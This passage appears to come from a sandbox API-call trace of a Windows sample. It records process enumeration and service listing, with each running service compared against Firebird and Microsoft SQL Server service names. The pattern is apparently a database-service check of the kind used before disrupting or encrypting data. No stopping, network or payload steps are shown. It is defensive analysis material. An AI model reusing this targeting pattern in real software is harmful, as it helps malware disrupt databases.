[0207.666] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0207.666] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0207.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0207.666] lstrlenW (lpString="RpcEptMapper") returned 12 [0207.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0207.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0207.666] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0207.666] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0207.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0207.666] lstrlenW (lpString="RpcSs") returned 5 [0207.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0207.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0207.666] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0207.666] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0207.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0207.666] lstrlenW (lpString="SamSs") returned 5 [0207.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0207.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0207.666] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0207.666] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0207.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0207.666] lstrlenW (lpString="Schedule") returned 8 [0207.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0207.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0207.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0207.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0207.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0207.667] lstrlenW (lpString="SecurityHealthService") returned 21 [0207.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0207.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0207.667] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0207.667] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0207.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0207.667] lstrlenW (lpString="SENS") returned 4 [0207.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0207.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0207.667] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0207.667] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0207.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0207.667] lstrlenW (lpString="ShellHWDetection") returned 16 [0207.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0207.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0207.667] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0207.667] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0207.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0207.667] lstrlenW (lpString="Spooler") returned 7 [0207.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0207.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0207.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0207.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0207.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0207.667] lstrlenW (lpString="SSDPSRV") returned 7 [0207.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0207.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0207.668] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0207.668] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0207.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0207.668] lstrlenW (lpString="StateRepository") returned 15 [0207.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0207.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0207.668] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0207.668] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0207.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0207.668] lstrlenW (lpString="SysMain") returned 7 [0207.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0207.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0207.668] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0207.668] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0207.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0207.668] lstrlenW (lpString="SystemEventsBroker") returned 18 [0207.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0207.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0207.668] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0207.668] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0207.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4293088 | out: hHeap=0x5c0000) returned 1 [0207.669] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0208.083] Process32FirstW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.084] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0208.084] lstrlenW (lpString="System") returned 6 [0208.084] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0208.085] lstrlenW (lpString="smss.exe") returned 8 [0208.085] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.086] lstrlenW (lpString="csrss.exe") returned 9 [0208.086] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0208.087] lstrlenW (lpString="wininit.exe") returned 11 [0208.087] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.087] lstrlenW (lpString="csrss.exe") returned 9 [0208.088] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0208.088] lstrlenW (lpString="winlogon.exe") returned 12 [0208.088] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0208.089] lstrlenW (lpString="services.exe") returned 12 [0208.089] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0208.090] lstrlenW (lpString="lsass.exe") returned 9 [0208.090] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0208.090] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0208.091] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0208.091] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0208.091] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.092] lstrlenW (lpString="svchost.exe") returned 11 [0208.092] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.093] lstrlenW (lpString="svchost.exe") returned 11 [0208.093] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0208.094] lstrlenW (lpString="dwm.exe") returned 7 [0208.094] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.094] lstrlenW (lpString="svchost.exe") returned 11 [0208.094] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.095] lstrlenW (lpString="svchost.exe") returned 11 [0208.096] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.096] lstrlenW (lpString="svchost.exe") returned 11 [0208.096] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.097] lstrlenW (lpString="svchost.exe") returned 11 [0208.097] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.098] lstrlenW (lpString="svchost.exe") returned 11 [0208.098] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.099] lstrlenW (lpString="svchost.exe") returned 11 [0208.099] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.100] lstrlenW (lpString="svchost.exe") returned 11 [0208.100] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.100] lstrlenW (lpString="svchost.exe") returned 11 [0208.101] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.101] lstrlenW (lpString="svchost.exe") returned 11 [0208.101] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.102] lstrlenW (lpString="svchost.exe") returned 11 [0208.102] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0208.103] lstrlenW (lpString="spoolsv.exe") returned 11 [0208.104] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.104] lstrlenW (lpString="svchost.exe") returned 11 [0208.105] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0208.106] lstrlenW (lpString="audiodg.exe") returned 11 [0208.106] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0208.106] lstrlenW (lpString="sihost.exe") returned 10 [0208.107] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.107] lstrlenW (lpString="svchost.exe") returned 11 [0208.107] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0208.108] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0208.108] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0208.109] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0208.109] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0208.110] lstrlenW (lpString="Memory Compression") returned 18 [0208.110] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0208.111] lstrlenW (lpString="taskhostw.exe") returned 13 [0208.112] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0208.113] lstrlenW (lpString="msoia.exe") returned 9 [0208.113] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0208.114] lstrlenW (lpString="explorer.exe") returned 12 [0208.114] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0208.115] lstrlenW (lpString="SearchUI.exe") returned 12 [0208.115] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0208.116] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0208.116] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0208.117] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0208.117] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0208.118] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0208.118] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0208.119] lstrlenW (lpString="wmxsde.exe") returned 10 [0208.119] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.120] lstrlenW (lpString="svchost.exe") returned 11 [0208.120] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0208.121] lstrlenW (lpString="cmd.exe") returned 7 [0208.121] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x438, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0208.122] lstrlenW (lpString="conhost.exe") returned 11 [0208.122] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0208.123] lstrlenW (lpString="cmd.exe") returned 7 [0208.123] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0208.124] lstrlenW (lpString="conhost.exe") returned 11 [0208.124] Process32NextW (in: hSnapshot=0x368, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0208.125] CloseHandle (hObject=0x368) returned 1 [0208.125] Sleep (dwMilliseconds=0x1f4) [0208.948] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fea08 [0208.949] EnumServicesStatusExW (in: hSCManager=0x5fea08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0208.950] GetLastError () returned 0xea [0208.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1ca4) returned 0x623608 [0208.951] EnumServicesStatusExW (in: hSCManager=0x5fea08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x623608, cbBufSize=0x1ca4, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x623608, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0208.952] CloseServiceHandle (hSCObject=0x5fea08) returned 1 [0208.952] lstrlenW (lpString="Appinfo") returned 7 [0208.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0208.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0208.952] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0208.952] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0208.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0208.952] lstrlenW (lpString="AppXSvc") returned 7 [0208.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0208.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0208.953] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0208.953] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0208.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0208.953] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0208.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.953] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0208.953] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0208.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0208.953] lstrlenW (lpString="Audiosrv") returned 8 [0208.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0208.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0208.953] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0208.953] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0208.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0208.953] lstrlenW (lpString="BFE") returned 3 [0208.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0208.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0208.953] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0208.953] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0208.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0208.953] lstrlenW (lpString="BITS") returned 4 [0208.953] 